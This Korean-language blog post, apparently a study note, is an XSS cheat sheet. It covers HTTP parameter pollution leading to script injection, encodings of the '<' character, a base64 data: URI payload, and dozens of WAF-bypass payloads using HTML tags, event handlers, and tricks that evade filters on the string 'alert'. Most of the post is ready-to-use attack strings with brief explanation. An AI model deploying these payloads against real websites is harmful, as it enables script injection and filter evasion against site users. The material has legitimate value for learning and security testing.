HTTP 매개변수 오염을 통한 XSS

  • 아래는 content_type 매개변수 URL 인코딩 없이 사용되어 매개변수 오염이 발생한 경우
  • content_type 매개변수는 URL 인코딩 없이 사용되어 매개변수 오염이 발생.
  • content_type에 악성 스크립트를 삽입하여 XSS를 우회 가능.
<a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>

 

  • 공유 페이지에서의 JavaScript 코드
<script>
  var contentType = <%=Request.getParameter("content_type")%>;
  var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
  ...
</script>

 

  • 공격 시 URL
  • 공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>

 

  • 공유 페이지에서 발생한 XSS
  • 공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
  var contentType = 1; alert(1);
  var title = "This is a regular title";
  ...
</script>

 

 

 

문자 이스케이프 시퀀스

  • HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
  • 이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
  • <
  • %3C
  • &lt
  • &lt;
  • &LT
  • &LT;
  • &#60;
  • &#060;
  • &#0060;
  • &#00060;
  • &#000060;
  • &#0000060;
  • &#x3c;
  • &#x03c;
  • &#x003c;
  • &#x0003c;
  • &#x00003c;
  • &#x000003c;
  • &#X3c;
  • &#X03c;
  • &#X003c;
  • &#X0003c;
  • &#X00003c;
  • &#X000003c;
  • &#x3C;
  • &#x03C;
  • &#x003C;
  • &#x0003C;
  • &#x00003C;
  • &#x000003C;
  • &#X3C;
  • &#X03C;
  • &#X003C;
  • &#X0003C;
  • &#X00003C;
  • &#X000003C;
  • \x3c
  • \x3C
  • \u003c
  • \u003C
 

 

 

 

 

 

 

WAF 우회 방법

 

 

URI(Data URL Scheme)

  • data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>

 

  • <MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
  • base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
  • <데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.

 

 

  • 브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
  • Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
  • <script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.

 

<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=>

 

 

 

HTML 태그를 활용한 우회

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window/src="data:text/html,<svg onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script>
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X</a>
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>

 

 

이벤트 핸들러를 활용한 우회 (OnMouseOver, OnError 등)

<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME</form>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

 

 

 

 

alert 함수 필터 우회

  • 'alert(' 문자열을 필터링하는 경우
(alert)(1);
a = alert; a(1);
[1].find(alert);

 

  • 'alert' 문자열을 필터링하는 경우
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

 

  • 백틱 사용
&#96;`${alert``}`&#96;
  • &#96;는 **백틱(backtick, ` )**을 의미합니다.
  • 따라서 실제 실행되는 코드는  `${alert``}`
  • alert```** → alert()과 동일.

 

 

 

+ Recent posts